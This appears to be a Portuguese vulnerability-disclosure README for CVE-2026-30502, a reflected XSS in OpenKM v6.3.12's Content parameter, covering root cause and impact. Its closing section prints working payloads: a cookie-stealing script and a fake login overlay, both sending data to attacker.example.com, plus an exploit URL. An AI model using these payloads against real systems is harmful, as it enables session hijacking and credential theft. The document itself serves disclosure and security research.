
Documentação e prova de conceito para CVE-2026-30502, uma vulnerabilidade XSS refletida no OpenKM v6.3.12. Inclui análise técnica, causa raiz, avaliação de impacto e orientações de remediação para pesquisadores de segurança e testadores de penetração.
Descoberto e Reportado por Dharmendra Kumar — Pesquisador de Segurança
Cibersegurança | Testes de Penetração | Pesquisa de Vulnerabilidades | Divulgação Responsável
Este repositório documenta a divulgação responsável do CVE-2026-30502, uma vulnerabilidade de Cross-Site Scripting Refletido (XSS) identificada no OpenKM v6.3.12 — um sistema de gerenciamento de documentos open-source amplamente utilizado em ambientes corporativos e governamentais.
A vulnerabilidade existe no parâmetro Content, que reflete a entrada fornecida pelo usuário de volta ao navegador sem a devida sanitização ou codificação de saída. Um atacante pode criar uma URL maliciosa contendo JavaScript embutido e realizar engenharia social para que a vítima clique nela, resultando na execução de scripts na sessão do navegador da vítima.
⚠️ Severidade: Média–Alta | Vetor de Ataque: Rede | Privilégios Necessários: Nenhum | Interação do Usuário: Necessária
| Campo | Detalhes |
|---|---|
| ID CVE | CVE-2026-30502 |
| Produto | OpenKM |
| Versão Afetada | v6.3.12 |
| Classe de Vulnerabilidade | Cross-Site Scripting Refletido (XSS) |
| Parâmetro Vulnerável | Content |
| CWE | CWE-79: Neutralização Incorreta da Entrada Durante a Geração de Páginas Web |
| Vetor CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N |
| Severidade | Média–Alta |
| Publicador | Programa MITRE CVE |
| Pesquisador | Dharmendra Kumar |
| Tipo de Divulgação | Responsável / Coordenada |
OpenKM é um sistema de gerenciamento de documentos (DMS) gratuito e de código aberto que fornece uma interface web para gerenciar, auditar e distribuir documentos empresariais. É usado por empresas, órgãos governamentais e instituições educacionais em todo o mundo.
v6.3.12Uma vulnerabilidade de Cross-Site Scripting Refletido (XSS) foi identificada no OpenKM v6.3.12 através do parâmetro Content. A aplicação falha ao validar ou codificar a entrada fornecida pelo usuário antes de refleti-la no corpo da resposta HTTP, permitindo que JavaScript arbitrário seja injetado e executado no navegador da vítima.
Diferentemente do XSS Armazenado, a carga útil do XSS Refletido não é persistida no banco de dados — em vez disso, ela viaja dentro de uma URL maliciosa. O ataque depende de a vítima ser enganada a clicar em um link malicioso (entregue por e-mail, mídia social ou campanhas de phishing), após o qual a carga útil é executada silenciosamente no navegador da vítima, no contexto da sessão da vítima.
Atacante cria URL maliciosa
│
▼
Vítima clica no link (phishing / engenharia social)
│
▼
Navegador envia requisição GET/POST com a carga útil no parâmetro `Content`
│
▼
OpenKM reflete entrada não sanitizada diretamente na resposta HTML
│
▼
Navegador analisa e executa JavaScript injetado
│
▼
Sessão sequestrada / credenciais roubadas / conta comprometida
A vulnerabilidade resulta da falha da aplicação em impor controles de segurança de entrada e saída no parâmetro Content:
| Fraqueza | Descrição |
|---|---|
| ❌ Nenhuma Validação de Entrada | O parâmetro Content aceita caracteres HTML/JavaScript brutos sem restrição ou filtragem |
| ❌ Nenhuma Codificação de Saída | Os valores refletidos são escritos na resposta HTML sem codificação de entidades HTML |
| ❌ Falta de Cabeçalho CSP | Nenhuma Política de Segurança de Conteúdo é aplicada para bloquear execução de scripts inline |
| ❌ Cookies Sem HTTPOnly | Tokens de sessão são acessíveis via JavaScript, permitindo roubo direto de cookies |
URL Criada pelo Usuário ──► Parâmetro Content ──► [SEM Validação]
──► Refletido na Resposta HTML ──► [SEM Codificação]
──► Navegador Executa Script ──► Conta Comprometida
A exploração bem-sucedida desta vulnerabilidade pode levar a:
| Risco | Descrição |
|---|---|
| 🍪 Sequestro de Sessão | Roubar tokens de sessão ativos via document.cookie para se passar pela vítima |
| 🔑 Coleta de Credenciais | Injetar overlays falsos de login para capturar nomes de usuário e senhas em texto claro |
| 📤 Divulgação de Informações | Exfiltrar conteúdo sensível de documentos, dados de usuários ou configurações internas |
| 🎣 Ataques de Phishing | Exibir páginas falsas convincentes hospedadas dentro do domínio confiável do OpenKM |
| 👤 Assunção de Conta | Realizar ações autenticadas arbitrárias em nome da vítima |
| ⚙️ Ações Não Autorizadas | Modificar, excluir ou exfiltrar documentos dentro do DMS |
| 🖥️ Distribuição de Malware | Redirecionar vítimas para sites controlados por atacantes que hospedam downloads maliciosos |
⚠️ Aviso Legal: As informações a seguir são compartilhadas estritamente para fins educacionais e de pesquisa em segurança, sob os princípios de divulgação responsável. Não teste ou use isso contra sistemas que você não possui ou para os quais não possui autorização explícita por escrito para avaliar.
// Prova básica de execução
<script>alert('CVE-2026-30502 - XSS by Dharmendra Kumar')</script>
// Exfiltração de cookie de sessão
<script>document.location='https://attacker.example.com/steal?c='+document.cookie</script>
// Overlay de phishing de credenciais
<script>
var d=document.createElement('div');
d.innerHTML='<form action="https://attacker.example.com/log" method="POST">'
+'<input name="u" placeholder="Usuário"/>'
+'<input name="p" type="password" placeholder="Senha"/>'
+'<button>Entrar</button></form>';
document.body.prepend(d);
</script>
https://target-openkm-instance/[vulnerable-endpoint]?Content=<script>alert(1)</script>